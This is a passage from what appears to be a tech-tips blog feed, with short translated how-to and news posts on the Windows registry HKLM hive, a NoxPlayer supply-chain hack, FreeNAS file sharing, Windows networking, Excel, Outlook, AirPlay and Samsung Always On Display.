software configuration data, HKEY_LOCAL_MACHINE hive also contains valuable information about detected device and hardware drivers.\nIn Windows 10, Windows 8, Windows 7 and Windows Vista, your computer's boot configuration information is also included in this hive.\nWhat do you know about HKEY_LOCAL_MACHINE (HKLM Registry Hive)? How to access HKEY_LOCAL_MACHINE Registry subkey in HKEY_LOCAL_MACHINE The subkey hides in HKLM More information about HKEY_LOCAL_MACHINE How to access HKEY_LOCAL_MACHINE   As a registry hive, HKEY_LOCAL_MACHINE is easy to find and open with the Registry Editor tool available in all Windows versions:\n1. Open Registry Editor.\n2. Locate HKEY_LOCAL_MACHINE on the left side of Registry Editor.\n3. Click from HKEY_LOCAL_MACHINE or the small arrow to the left to expand it.\nIf you or someone else used Registry Editor previously on your computer, you may need to collapse any open registry keys until you find HKEY_LOCAL_MACHINE hive.\nRegistry subkey in HKEY_LOCAL_MACHINE   The following registry keys are located in HKEY_LOCAL_MACHINE hive:\nHKEY_LOCAL_MACHINEBCD00000000 HKEY_LOCAL_MACHINECOMPONENTS HKEY_LOCAL_MACHINEDRIVERS HKEY_LOCAL_MACHINEHARDWARE HKEY_LOCAL_MACHINESAM HKEY_LOCAL_MACHINESchema HKEY_LOCAL_MACHINESECURITY HKEY_LOCAL_MACHINESOFTWARE HKEY_LOCAL_MACHINESYSTEM Note : The keys located in HKEY_LOCAL_MACHINE on the computer may vary slightly depending on the version of Windows and your specific computer configuration. For example, newer Windows versions do not include HKEY_LOCAL_MACHINECOMPONENT key .\nSubkey HARDWARE contains data related to BIOS, processor and other hardware devices. For example, in HARDWARE is DESCRIPTION\u0026gt; System\u0026gt; BIOS , where you will find the current version and BIOS vendor.\nSubkey SOFTWARE is one of the most commonly accessed subkeys from HKLM hive. It is organized alphabetically by the software vendor and is where each program writes data to the registry so that the next time the application is opened, its specific settings can be applied automatically, helping Users do not have to reconfigure the program every time they use it. It is also useful to find the user's SID.\nSubkey SOFTWARE also contains a Windows subkey describing the different UI details of the operating system, a subkey Classes detailing which programs are associated with the file extension, etc.\nHKLMSOFTWAREWow6432Node is found on 64-bit versions of Windows but is also used by 32-bit applications. It is equivalent to HKLMSOFTWARE but not quite the same, because it is separated for the sole purpose of providing information to 32-bit applications on 64-bit operating systems. WoW64 displays this key for 32-bit applications as \"HKLMSOFTWARE\".\nThe subkey hides in HKLM   In most configurations, the following subkeys are hidden keys and therefore cannot be browsed like other keys in the hive HKLM registry:\nHKEY_LOCAL_MACHINESAM HKEY_LOCAL_MACHINESECURITY In most cases, these keys appear blank when you open them and / or contain empty subkeys.\nSubkey SAM refers to database information Security Accounts Manager (SAM) for domains. In each database are group aliases, users, guest accounts and admin accounts, plus the name used to log in to the domain, cryptographic hash (cryptographic hash function) of each user password, etc .\nSubkey SECURITY is used to store the security policy of the current user. It is linked to the security database of the domain where the user is logged in or to the registry hive on the local computer if the user is logged into the local system domain.\nTo see the contents of the SAM key or SECURITY, Registry Editor must be opened with System Account instead, having greater rights than any other user, even users with admin rights.\nOnce the Registry Editor has been opened with the appropriate permissions, the HKEY_LOCAL_MACHINESAM and HKEY_LOCAL_MACHINESECURITY keys can be discovered as any other key in the hive.\nSome free software utilities, such as Microsoft's PsExec, can open Registry Editor with the appropriate permissions to view these hidden keys.\nMore information about HKEY_LOCAL_MACHINE It is interesting to know that HKEY_LOCAL_MACHINE does not actually exist anywhere on the computer, but instead is just a container to display the actual registry data, loaded through the sub-hives in the hive, listed. above.\nIn other words, HKEY_LOCAL_MACHINE acts as a shortcut to some other data source on your computer.\nSince this non-existent property of HKEY_LOCAL_MACHINE, both you and any program you install, cannot create additional keys in HKEY_LOCAL_MACHINE.\nHKEY_LOCAL_MACHINE hive is always the same regardless of whether the user on the computer sees it, unlike the hive registry HKEY_CURRENT_USER is reserved for each user viewing when logging on.\nAlthough HKEY_LOCAL_MACHINE is often written as HKLM, this is not really an \"official\" acronym. This is important because some programs, in many cases, even tools are available directly from Microsoft, do not allow you to initialize the hive name in the registry path. If you get an error while using \"HKLM\", use the full alternative path and see if it fixes the problem.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkmpqfqsFutMqesJikn5iuravMmpqhoZ6aeqm3y6Zkq52XnsC1vthmn6KulQ%3D%3D\n","link":"/post/learn-about-hkey-local-machine-hklm-registry-hive/","section":"post","tags":null,"title":"Learn about HKEY_LOCAL_MACHINE (HKLM Registry Hive)"},{"body":"NoxPlayer was developed by BigNox (a company based in Hong Kong), this software is often used by gamers to run mobile games on computer.\nResearchers uncovered three different types of malware in the NoxPlayer update, however, they are designed primarily to monitor users, not to steal money.\n  Immediately after detecting the attack, ESET immediately contacted BigNox, the company denied being affected, declined offers of assistance and decided to conduct an internal investigation.\nResearchers suggest users to check if there are any processes running in the background and connecting to the network with the C\u0026amp;C server. In case you have just updated the NoxPlayer software, you should uninstall it and wait until there is a new notification from BigNox.\nESET statistics show that this offensive campaign is aimed at users living in Taiwan, Hong Kong and Sri Lanka. At present, to limit attack by malware, users should not update NoxPlayer software to the latest version.\nUpdate...\nA mysterious group of hackers has just attacked the server infrastructure of the Android emulator NoxPlayer software. From here, the cyber criminals have spread malicious code to a series of victims in Asia.\nThis attack was discovered by security firm ESET on January 25th. Based on the evidence gathered, ESET said the hacker group has hacked into the official API and file-hosting servers of BigNox, the company that develops NoxPlayer.\nWith this access, the hacker forged the URL to download the NoxPlayer updates on the API server to spread the malicious code onto the victims' computers.\n  \"Three different families of malware were spread with fake updates targeting victims in Asia. There is no indication that hackers are interested in financial interests, so this attack has. They can only be used for espionage or data collection purposes, \" ESET said.\nThere is evidence that BigNox's servers have been compromised since around September 2020. ESET says hackers do not attack all users, but only target a few specific devices. It can be concluded that this is a clearly targeted attack, targeting only a certain class of users.\nESET said that at the present time the NoxPlayer update containing the malware was only distributed to five victims in Taiwan, Hong Kong and Sri Lanka.\nESET reported the details of the attack to BigNox but BigNox denied that they were hacked. Currently, users are advised not to update the new version of NoxPlayer or completely remove this software on their device.\nnoxplayer noxplayer android emulator ncG1vNJzZmismaXArq3KnmWcp51ku7DEz6WYsp2iYrKuwcuaq6iqXayutHnHmpqknZRirq%2BwjKaYpaGTnry2v4ycpp2dXZ67tLHRrZyd\n","link":"/post/noxplayer-emulator-was-hacked-and-malicious-code-inserted/","section":"post","tags":null,"title":"NoxPlayer emulator was hacked and malicious code inserted"},{"body":"Google boasts the ability to handle HTML 5 and JavaScript on Chrome when allowing multiple devices to be used to display a game content.\n  Three phones use the same screen for a game.\nTo demonstrate some of the features on the new Chrome version, Google developed a small game called Racer that can run directly in the browser. It is worth noting that the game can operate on multiple mobile devices at the same time and make group play more interesting.\nDevices such as smartphones and tablets need only one initial installation to align the position accordingly. After that, screens like being combined into one and the game can be displayed on all devices. Each vehicle in the game will run from screen to screen in turn like it is operating only on one machine.\nNot only images, Google said each device also acts as a small orchestra to emit sound when many users are playing.\nRacer is designed simply for the main reason of demonstrating Chrome's impressive capabilities on iOS or Android with JavaScript, HTML 5.\nVideo game play on multiple screens via Chrome:ncG1vNJzZmismaXArq3KnmWcp51kva2t2GaemqWVqHqwuoymrKWsmaW5pnnSnKmenZ6oere1wGaaoaqforJurtGorqydog%3D%3D\n","link":"/post/play-games-on-multiple-screens-via-chrome-browser/","section":"post","tags":null,"title":"Play games on multiple screens via Chrome browser"},{"body":"  Set up FreeNAS for the central File server - part 1 Network Administration - In the first part of this two-part series, I showed you that FreeNAS can help you focus, protect, and share files on your network. In this article, I will show you how to login to the user interface; Set up drives and configure sharing protocols for Windows, Mac OS X and Linux.\nIn Part 1 of this series, we built a FreeNAS machine and connected it to the network. In this part 2, we will log in to the user interface to set up storage drives and configure sharing settings.\nAccess the web interface\nNow that we have started and connected FreeNAS to our network, you can access the web interface to set up the above tasks.\nOpen the browser of a computer connected to the same network and enter the IP address of the FreeNAS machine. When prompted to login, use the username \" admin \" and the password \" freenas \".\nFigure 1 shows an example of the web interface.\n Figure 1: FreeNAS web interface Perform some initial configuration\nBefore starting to manipulate settings or experimenting with services, you need to change at least one encrypted HTTPS connection - and change the default password for FreeNAS.\nOn the main menu of the web interface, click System\u0026gt; General . Scroll down to the WebGUI section, select the HTTPS for the Protocol option , scroll down to the bottom of the page and click Save .\nIn order for the changes to take effect, you must restart FreeNAS. Before doing so, you should scroll down to the Time section to set the date and time information.\nNow, click the reboot link in the status area near the top of the page.\nWhen you finish booting, click System\u0026gt; General again, then click the Password tab.\nType in the \" freenas \" password, then type in the new password in the two input boxes and click Save .\nNext, you must reboot for the changes to take effect; Click on the reboot link .\nAdd, format, mount and encrypt discs\nBefore you can format, encrypt or share a drive, you must add it to FreeNAS.\nClick Disks\u0026gt; Management , and click the add a disk button (plus sign). When you're done, click Apply . If you want to encrypt the drive to increase security, then you need to do it right now. Any drive you use with FreeNAS needs to be reformatted using the UFS file system. Old Windows drives often use FAT or NTFS file systems.\nIf you have used one of the FreeNAS installation methods, it has definitely been formatted for you. However, in other cases you should format the drive.\nClick Disks\u0026gt; Format and format with the default settings.\nNext you need to mount the drive to be able to use it. Click Disks\u0026gt; Mount Point , click the plus button, enter the details, and then click Add .\nYou can now configure and activate services.\nShared Windows configuration (CIFS / SMB)\nTo support Windows computers, you should enable CIFS / SMB. Click Services\u0026gt; CIFS / SMB and check the Enable option in the upper right corner.\nFigure 2 shows an example of this page\n Figure 2: CIFS / SMB page of the FreeNAS web interface If you do not want the user to login, leave the Authentication option set to Anonymous . Otherwise, select Local User to request the username and password you created in FreeNAS, or select Domain if you defined the user in the Active Directory server.\nNetBIOS names will distinguish the server on the network, just like the computer name of Windows computers.\nJust like in Windows, you need to make sure that all computers are in the same Workgroup. The default settings should be left untouched.\nWhen you're done, click Save and Restart .\nTo share files now, click the Share tab and add the folders. If you want to create additional folders, click Advanced\u0026gt; File Manager and create folders in the mounted location ( mnt / mountname ).\nIt should be noted that some versions of Mac OS X and Linux are easy to set up with Windows. So if there are computers that have these operating systems installed, you should enable SMB / CIFS on them, so you don't need to configure all other protocols.\nIf you only want to provide password protected access, you should use SMB / CIFS instead of NFS in Linux.\nUnix / Linux sharing configuration (NFS)\nTo support the default sharing protocol of Unix and Linux computers, you need to set up NFS. Click Services\u0026gt; NFS and check the Enable option at the top of your right hand (shown in Figure 3).\n Figure 3: NFS page of the FreeNAS web interface If you plan to use more than 4 people to share on FreeNAS with this protocol, you can increase the number of servers. However, you should only use up to 6 people on one server at a time.\nWhen done, click Save and Restart .\nNext you can specify which directory you want to share with this protocol. Click Shares tab. Then browse to the desired directory to insert the path.\nBe careful with the Map All Users to Root option ; Only enable it when you really trust the user.\nWith the Authorized Network field, enter the router's IP address and change it to the correct entry. Change other settings as needed and click Add .\nApple sharing configuration (AFP)\nTo share with Mac OS X computers using the default AFP protocol, click Services\u0026gt; AFP (see Figure 4) and check the Enable checkbox .\nThen specify the Authentication method you want, whether you want to ask the user to enter a username and password (loaded in FreeNAS) when accessing shared folders with this protocol. Once done, click Save and Restart .\n Figure 4: Share with the default protocol Like other sharing protocols, you must click the Shares tab and specify the folder you want to share. When adding shares, you must at least fill out the first three fields, then you can use the default options for the following settings.\nSet User and Group\nIf you manage a network using Active Directory or LDAP, you can configure FreeNAS for reference instead of having to enter all user details.\nHowever, if you don't use one of those databases, you need to use an internal database. So if you are using a shared protocol or another service that is configured to use internal user authentication, click Access\u0026gt; Users and Groups on the FreeNAS main menu. Then manage the groups and add the desired accounts.\nncG1vNJzZmismaXArq3KnmWcp51kwKbAjK6nZp6imrKvrdJmnaiqXam1pnnCnqWtqpGheqe1y55krJ2iq7Kzec%2Baqa1lYg%3D%3D\n","link":"/post/set-up-freenas-for-the-central-file-server/","section":"post","tags":null,"title":"Set up FreeNAS for the central File server"},{"body":"Diann Daniel\n   Network Administration - With the recently released and highly virtualized tool, Google Earth 5.0, you can comfortably fly anywhere on Earth, from the vicinity to fishing spots. you will come. It is possible to explore the lands of 3D and geological features, graph your ideal tour, explore the deep ocean and even distant Mars. It is a rich application and therefore also takes a lot of time to explore both in terms of its location and function. To give you the ease of use, we've outlined some ways you can enjoy what Google Earth 5.0 can bring to you.\nExplore the deep ocean\nCalifornia's Davidson Seamount is the home that leads you to the vast coral forests, oceanic fishes, an undersea life you never knew. With Google Earth 5.0, you can explore seas 26 miles away from the water as well as other regions and the deep ocean.\n- To explore Davidson Seamount, you must download Google Earth 5.0 and launch the application.\n- You need to check \"Street View,\" \"3D Buildings,\" \"Ocean,\" \"Places of Interest,\" and \"Terrain\" items in the Layers section. (After exploring some locations, you might want to increase the sharpness, go to Tools\u0026gt; Options. Set \"Terrain Quality\" at \"Higher\" and \"Elevation Exaggeration\" at 3 from its default value. first).\n- In View, go to Water Surface and check this item. That will allow you to see the waves on the sea.\n- In the \"Fly to\" window (upper left corner) you hit \"Davidson Seamount\" and inhale. Below the dialog box will appear an \"Davidson Seamount\" option with a pushpin on its left. Click on that pushpin.\n- You will fly over the vast ocean and locate where you need to go.\n- On the right side of the screen, you will see a slider used to zoom. Click on the + sign at the top of the slider to zoom in or use the middle control bar and drag it toward the plus or minus mark - to your liking.\n- With Eye alt -4377 ft. (You can see the height above sea level below the screen)\n- From here, use the mouse to drag the view in different directions and explore the terrain. You can use the \"look joystick\" (above the control bar to see around from a certain point) or \"move joystick\" to lower, climb, right or left.\nDiscover Mars\nIs there life on Mars? No one knows that but the question stimulates science fiction as well as scientific inquiry. You can think about that question yourself when discovering the new Mars mode in Google Earth 5.0.\n- After loading Google Earth, go to the small planet icon in the upper middle of the screen, click on it and select Mars. You will then see a real simulation of the planet Mars. In this view, you will use the old controls and also the Layers to choose as you do for the Earth.\n- Type \"Valles Marineris\" in \"Fly to\" and press Enter.\n- Zoom in to explore the canyon. Often referred to as the Grand Canyon of Mars, the canyon's Valles Marineris system extends to 4000 km or is equivalent to the width of the United States. Located on the southern part of the Martian equator, some locations in this canyon are 6 to 7 times deeper than the Earth's back alley.\n- At the end of Valles Marineris exploration, go to the Layers section. Click on the \"Mars Gallery\" then \"Rovers and Landers.\" In this section, you can know the areas that have been discovered on Mars and the images and we have captured about it. For example, a scene from the Phoenix Lander is a puzzle of over 400 small images. In the scene you can see in 3D mode of the device. Also in Layers, the \"A Travelers Guide to Mars,\" can provide you with information and pictures about Mars's features.\nMake sightseeing tours\nThe easiest way to kill time in Google Earth is to register for a tour done by Google Earth itself. Las Vegas, Imperial Palace in Japan or the Eiffel Tower, or anywhere else?\n- Under locations, open the \"Sightseeing\" folder. Click on the checkbox if it is not already selected.\n- Double-click on the view icon. (It looks like a small folder and is located at the bottom right of the Places section.) You will be taken to all locations that have been clicked. This tour will be very fast, but you can stop at any time to check out your favorite places. (The play icon appears in the lower left corner of the screen allowing you to continue your tour).\nWandering in Times Square\nYou can't help but be impressed by Street View in Google Earth, in places where rendering allows good quality. Choose Times Square to explore the street view function of Google Earth with a virtual scene.\n- Type \"Times Square\" in \"Fly To\".\n- Zoom in until you reach Street View.\n- You will see lots of spheres along the street. Click on any of the spheres and you'll see a picture. Select \"Show full screen.\"\n- If you put the cursor in the upper right part, a thumbnail of the image will appear next to the zoom slider. Select the small square inside and drag it to the right or left to view 3600 images described.\nVisit Fenway Park\n- In the \"Fly To,\" hit \"Fenway Park.\" You will then be provided \"Fenway Park, 4 Yawkey Way, Boston, MA.\" Click on it to see the landscape of this park.\n- Zoom in and explore the surrounding areas (and pictures of it), then Zoom in until you see the street and visualize that you are standing in a certain field. Use the \"look joystick\" and \"move joystick\" to visualize you as a baseball player, or click on one of the photo icons inside the park to learn more about it.\nncG1vNJzZmismaXArq3KnmWcp51kgm61za2cq52jqbavs4yfnJqspaeytHnOn2Sgp5%2BcuaZ5xJqpraA%3D\n","link":"/post/5-interesting-features-of-google-earth/","section":"post","tags":null,"title":"5 interesting features of Google Earth"},{"body":"In September and October, Among Us continuously ravaged the game charts on PC and Mobile. Everyone likes to play Among Us on PC and on the phone also received many positive reviews.\nUntil now, although not as famous as before, Among Us still has achieved a huge number of players on both PC and Mobile platforms. And there are also many games that also have gameplay similar to Among Us, which also attracts the attention of gamers.\u0026nbsp;\nThe game is like Among Us up to 90% Recently appeared a few pictures of a game called Pretend. At first glance, the character creation, gameplay is exactly like Among Us. Viewing angle of the game is also from top to bottom, only one thing is different that it takes place in an office building instead of a spaceship like in Among Us. The number of players will be between 4-15 and you can play online or over a local wifi network.\n  The Impostor in Pretend is called the Pretender . Crewmate will play the role of Employees - Employees. Like Among Us, the Pretenders will pretend to complete tasks like Employee and then try to kill all Employees on the map.\nSpecifically, the Pretender mission will be:\n  Kill the employees to destroy the company. Pretend to be on duty and avoid being exposed. Sneak through the ventilation system to avoid exposure Destroy the map system to cause chaos The duties of Employees will be:\n  Complete the missions for software development and win Find out who is pretending to be by discussing and analyzing other members. Use security cameras and other tools to unmask the pretender Eat, drink and go to the toilet to ensure a daily routine   In the near future we will also have more roles besides Pretender and Employee like Detective. New map with a bunch of new missions, exclusive skins and customizable pet .\n  Pretend's Steam community forums have been widely criticized by the blatant copying of publisher Pretend. Whitesquare developer admits that the original Pretend was not a free game. But have listed out some of the features that Among Us is lacking such as: Voice chat, new maps, custom Sabotage and some other features.\nThe game will also be released on Steam for free, but not immediately. Developers are planning to charge for the Early Access version.\nLink download Pretend on PC herencG1vNJzZmismaXArq3KnmWcp51krrG8xJqprGWRYrSiucRmq6GZpGK2tHnSmqCdZaSkeqOxjJpknKegrnqwsoyapKiml2LCtA%3D%3D\n","link":"/post/appears-a-game-that-is-said-to-be-a-copy-of-among-us/","section":"post","tags":null,"title":"Appears a game that is said to be a 'copy' of Among Us"},{"body":"Network Administration - How to upgrade a network computer to Windows 7 when there are still Windows XP and Vista computers? In this article, I will show you how to network between different versions of Windows operating systems.\nLike many of us, you probably own a network of computers with Windows XP and Vista operating systems, but someday you buy a new computer and the computer is already pre-install Windows 7 operating system. Although you can start Windows 7 and all computers can automatically see each other, sometimes you may encounter some problems during work, then surely you will be confused with these issues.\nIn this article, we will give you an introduction so that you can make these computers exchange data, share files, printers and media together.\nVerify that you are using NTFS format on hard drives\nYour old computers may be using a less secure file system: FAT32. Therefore you should ensure that you are using NTFS (New Technology File System).\nMake sure the file and printer sharing feature is enabled\nAlthough Windows will automatically install and activate the protocol for file and printer sharing, it may be inadvertently disabled. Because of this, you have to check whether you currently have a sharing problem.\nIn the properties dialog of the network connection (see Figure 1), make sure the File and Printer Sharing for Microsoft Networks and Client for Microsoft Networks protocols are enabled.\n Figure 1 To appear the Properties dialog of the network connection in Windows XP, click Start \u0026gt; Connect to \u0026gt; Show all connections . Then right-click the network connection and select Properties .\nHere's how to do it in Vista: Open the Network and Sharing Center and click on the Manage network connections link in the left pane. Then right-click the network connection and select Properties .\nIn Windows 7, open the Network and Sharing Center , click the connection name link in the active network area. In the connection status window, click Properties.\nDisable the File-Sharing interface\nWindows XP Professional and all versions of Vista and Windows 7 have advanced sharing settings. When using this advanced method, you can better control sharing by using Permissions.\nPlus you can use the same method on your computers, regardless of their version of Windows.\nHere's how to disable the sharing interface\nOpen Computer or My Computer Click Tools and select Folder Options . If you don't see the file menu in Vista or Windows 7, press the Alt key. Click the View tab Scroll down and uncheck the Use Sharing Wizard (in Vista or Windows 7) or Use Simple File Sharing (in XP). Click OK to save the changes. Verify that everyone is on the same Workgroup\nIn home and small business networks, computers must be assigned to a Workgroup. You should put all the computers you want to share together into the same group.\nBecause some versions of Windows have different default workgroup names, you should decide to use a name and verify that the computers are all set up the same.\nTo find the current Workgroup of a Windows XP, Vista or Windows 7 computer, right-click the My Computer or Computer shortcut from the desktop or from the Start menu and select Properties . Now you will see the computer name, domain and workgroup settings on the System window.\nCheck the network location in Vista and Windows 7\nA network location feature that first appeared in Windows Vista, allowing you to specify the network type (Home, Work and Public) after the connection, this feature automatically applies the appropriate sharing settings.\nFor example, if you connect to a Wi-Fi hotspot and mark it as a Public network, then Windows will automatically disable file sharing.\nTo verify that you have selected the correct network location for your network, call the Network and Sharing Center.\nWindows Vista will list the network locations to the right of the network name section, as shown in Figure 2 below.\n Figure 2   If you need to make changes, click the Customize link on the right.\nIn Windows 7, location is listed under the network name, as shown in Figure 3.\n Figure 3 Then click on the location to change it.\nView network settings in Vista and Windows 7\nMicrosoft has also added sharing settings and network connections to Windows, starting with Vista. If they are not set up correctly, these settings may prevent your file sharing; so it should be checked correctly.\nStart testing by calling the Network and Sharing Center .\nIn Vista, you will see the Sharing and Discovery settings on the bottom right of the connection details, as shown in Figure 4.\n Figure 4 If you want to share files, enable the minimum of the first options.\nIn Windows 7, these settings have been transferred. In Network and Sharing Center, click the Change advanced sharing settings link on the left panel.\nWith the Home or Work location (see Figure 5), you need to make sure to select at least the first two options.\n Figure 5 Verify that the firewall allows traffic to pass through\nWindows will automatically modify Windows Firewall settings to allow traffic to share files and printers when you enable sharing.\nHowever, you can still disable the firewall rule or stop all network traffic, two of which prevent your computers from communicating. Therefore, please check these settings carefully.\nIn Windows XP, open Windows Firewall from Control Panel . In the Windows Firewall dialog box, make sure it is selected On , but do not tick the Don't allow exceptions option.\nClick the Exceptions tab, scroll down and find the File and Printer Sharing option , then make sure it is checked.\nIn Windows 7 and Vista, open the Network and Sharing Center and click on the Windows Firewall link in the lower left panel.\nIn Vista, click the Change settings link on the first Windows Firewall window. In the settings dialog, make sure it is selected as On , but do not check the option Block all incoming connections.\nClick the Exceptions tab, scroll down and find the File and Printer Sharing option, making sure it is checked.\nIn Windows 7, click the Turn Windows Firewall link on or off to make sure it is turned on (On) but does not lock all incoming connections, as shown in Figure 6.\n Figure 6 Return to the first Windows Firewall window and click the Allow a program link or feature through Windows Firewall at the top left of the window.\nMake sure that the File and Printer Sharing option is checked for Home / Work locations. If you have installed a third-party firewall utility, this firewall may be part of an Internet security suite, check it out. Sometimes they have their network connection protection features. For example, some require you to mark certain networks as secure networks to provide sharing.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6zZ6arWWnnrulu9asZHBlpp7Ata2MmqWdZaeeu6W71qxksahdmLyuvNStnKur\n","link":"/post/connect-windows-7-vista-and-windows-xp-computers/","section":"post","tags":null,"title":"Connect Windows 7, Vista and Windows XP computers"},{"body":"Sometimes in the process of working, processing data in Excel, you need to hide / show the line in Excel. If you do not know how to hide lines and display hidden lines in Excel, please refer to the following article.\n  Here's how to hide rows, show hidden lines in Excel, and how to hide / show columns in Excel invite you to follow.\nHow to hide lines in Excel Step 1: Select the line to hide.\nIf you only need to hide one line, then click on the number before that line.\n  If you want to hide multiple rows in a row, then you select the first line to be hidden, then you hold down the mouse and drag down the other lines to be hidden.\n  If you want to hide multiple lines separated (non-consecutive), then you select the first line to be hidden, then hold down Ctrl and select the other lines to be hidden.\n  Step 2: Right-click on the lines you have selected and select Hide to hide the lines.\n  So the lines you choose will be hidden.\n  How to display hidden lines in Excel Step 1: Select (black out) consecutive lines of hidden lines (lines above and lines below the hidden lines).\n  Step 2 : Right-click on the selected lines and choose Unhide to show hidden lines.\n  Or if you want to display a hidden line, right-click on the hidden location and select Unhide .\n  Similarly, you can hide the column and display the hidden column as follows: 1. Hide columns in Excel Select the columns to hide, then right-click the selected columns and choose Hide .\n  2. Show hidden columns in Excel Select adjacent columns (the previous column and the column after the hidden columns), right click and select Unhide .\n  Above the article has shared with you how to hide lines and display hidden lines in Excel, hope the article will help you. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ksrmvxKVksKGknXqptcOdnKdlnJ67pr%2BMoaawZaSkeqm1w55kpaGemsBurc2dZJ2ho6W5osWMoaCdnJWjeq21zZ6qZqGeYrK5r8Sl\n","link":"/post/excel-with-hidden-lines-how-to-hide-lines-and-display-hidden-lines-in-excel/","section":"post","tags":null,"title":"Excel with hidden lines - How to hide lines and display hidden lines in Excel"},{"body":"One of the most common errors on Outlook is that the recipient of the message will see an attachment named Winmail.dat. We will guide you how to fix it in the article below. Please consult.\nDownload Microsoft Office 2007 Download Microsoft Office 2010 Method 1: Set up email delivery mode in Outlook Rich Text Step 1 : At the Outlook interface, click the Tools menu and select Options\n  Step 2 : In the Options interface, select the Mail Format tab and click the Internet Format . button .\n  Step 3 : When the Internet Format dialog box opens, in the Outlook Rich Text options section, select Convert to HTML format or Convert to Plain Text format . Then click OK to save.\n  Method 2: Add the DisableTNEF registry entry With Outlook 2007 Step 1 : Download the bug fix for Outlook 2007 here\nStep 2 : Open Registry Editor by entering Regedit in the Run dialog box\n  Step 3 : Please follow the path below HKEY_CURRENT_USERSoftwareMicrosoftOffice12.0OutlookPreferences . In the edit pane on the right, right-click New \u0026gt; DWORD Value and rename it to DisableTNEF .\n  Step 4 : Click on the DisbleTNEF key and enter the value 1 in the Value data box\n  Finally, turn off Registry Editor and restart the computer.\nWith Outlook 2010\nStep 1 : Open the Registry Editor in the above way and unlock it according to the path\nHKEY_CURRENT_USERSoftwareMicrosoftOffice14.0OutlookPreference\nStep 2 : You also create the DisableTNEF key with value 1 as above.\nFinally, turn off Registry Editor and restart the computer\nMethod 3: Change the recipient's address book attribute (Personal Address Book) Step 1 : In the Outlook interface, click the Tools menu and select Address Book (or press Ctrl + Shift + B )\n  Step 2 : In Show Names from the , select Outlook Address Book .\nStep 3 : Select the sender we want to send in Plain Text format, then click Properties in the File menu.\nStep 4 : In the SMTP-General tab, click to clear the tick in the box Always send to this recipient in Microsoft Exchange rich text format then press OK .\nMethod 4: Change the default mail format Step 1 : In the Outlook interface, click the Tools menu and select Options .\n  Step 2 : In the Options dialog box, select the Mail Format tab and select Plain Text in the Compose section in this message format and click OK\n  Turn on file attachment prompts when sending mail in Outlook 2013 How to disable the Auto-Complete feature in Outlook 2013 Tips or troubleshooting connection problems on Outlook Hope the article is useful to you!\nncG1vNJzZmismaXArq3KnmWcp51ktaK6w6WcZq%2BZo7qitcudmK1llae%2FsL7SZqCnZZ%2Bqwa27zqRkoqZdaXq4rdis\n","link":"/post/handle-winmail-dat-errors-in-outlook-in-4-ways/","section":"post","tags":null,"title":"Handle Winmail.dat errors in Outlook in 4 ways"},{"body":"AirPlay allows Apple devices such as Macs, iPhones, and iPads to transmit audio and video signals over the local internet to AirPlay-compatible receivers without the need for cables. connect.\nSo how to enable and use AirPlay on Mac? Let's find out right here.\nEnable AirPlay on macOS You can turn on AirPlay on your Mac from the menu bar, system preferences, or in certain apps.\nNote: In order to make an AirPlay connection, the sending device (Mac) and the receiving device must be connected to the same local network. For example, if you want to project your Mac's screen onto a smart TV, that TV must also support AirPlay and be connected to the same internet as your Mac. Turn on AirPlay to project the screen To extend or mirror your Mac screen to another, simply follow these steps to set up AirPlay.\nOpen System Preferences \u0026gt; Displays .\n  From the AirPlay drop-down menu, select an available display from the list.\n  Alternatively, you can also find the AirPlay icon on the Apple menu bar. Click that and select an AirPlay-compatible smart TV to start projecting the screen. (You may be asked for a password if connecting for the first time).\n  Control projection or display options from the AirPlay icon in the menu bar.\n  Turn on AirPlay to wirelessly stream music from your Mac In case you just want to stream audio from your Mac to devices like AirPlay enabled speakers and headphones, just follow the simple steps below.\nOpen an AirPlay-enabled music player such as Apple Music or Podcast .\nNavigate to the track you want to play and find the Apple AirPlay icon.\n  ( Note : The AirPlay icon used to transmit audio is different from the AirPlay icon used to project the screen). Select the device to transmit audio to by checking the box corresponding to that device name. The track will play automatically once the connection is established successfully.\n  ( Tip: In Apple Music and with compatible devices, you can select multiple devices at the same time to form an AirPlay audio streaming system. To stop playing on a specific device, simply dismiss check the box corresponding to that device name. Do all Macs support AirPlay? All Macs released in 2011 or later have AirPlay built-in. Devices that you can stream using AirPlay include:\nApple TV (4K, HD and 2nd and 3rd generation models) Speakers compatible with AirPlay HomePods AirPort Express Speakers A Mac running macOS Catalina (10.15), macOS Mojave (10.14.5), or iTunes 12.8 or later with AirPlay 2 higher, compatible with:\nAirPlay 2 . compatible smart TV Apple TV with tvOS 11.4 or later HomePods running iOS 11.4 or later Speakers connected to Airport Express (2nd Generation) Devices that meet these system requirements can stream audio to multiple AirPlay 2 compatible speakers or smart TVs simultaneously.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp2elq%2BtsYyaoKuonJbGbrvNZphmpZGY\n","link":"/post/how-to-enable-airplay-on-a-mac/","section":"post","tags":null,"title":"How to Enable AirPlay on a Mac"},{"body":"A good news for users of Galaxy Note 8, S9, S9 Plus is that you can set funny GIF animations to avoid boredom when looking at the Always On Display screen. With Samsung adding the feature of inserting animations to Always On Display on newly released 3.2.26.4, your lock screen will become more animated with GIF animations, not only that it also helps to show Display digital clocks in different ways.\nHow to use GIF images as beautiful wallpapers for Windows 10 computers Do you know how to set GIF images as your home screen and Android lock screen? Guide to turn videos into beautiful wallpapers on Android phones How to bring funny GIF animations to the standby screen Always On Display\nNote when installing animations for Always On Display:\nAlways On Display only supports the .GIF animation format, and does not yet support Google's standard .webp image. GIF images only work once when you have locked the screen, then stop at the last frame and not repeat. If you want the animation to continue, press twice (double tap) on the screen. Step 1:\nTo install an animation on Always On Display, go to Settings and type the keyword \"Always\" into the search bar, then click the first line.\n  Step 2:\nActivate the function Always On Display.\n  Step 3:\nScroll down and select Information Always On Display.\n  Step 4:\nHere, if the update is available, click 'Update' to download version 3.2.26.4. If the update is not available, you are in the latest version and can now install animation on Always On Display.\n  Step 5:\nNow select the animation in your gallery or search for GIF images with the image themes you want. As here is a picture of 2 funny cats, quite cute.\n  Step 6:\nSelect the image, click on the 3 dots icon in the upper right corner of the animation and select Set as Always On Display .\n  And this is the result after installing the animation for the screen to wait Always On Display, don't forget to share and show off to your friends!\n  Good luck!\nSee more:\nChange Android phone wallpaper with just a shake How to copy and insert animated GIFs? How to create online animations using Gickr 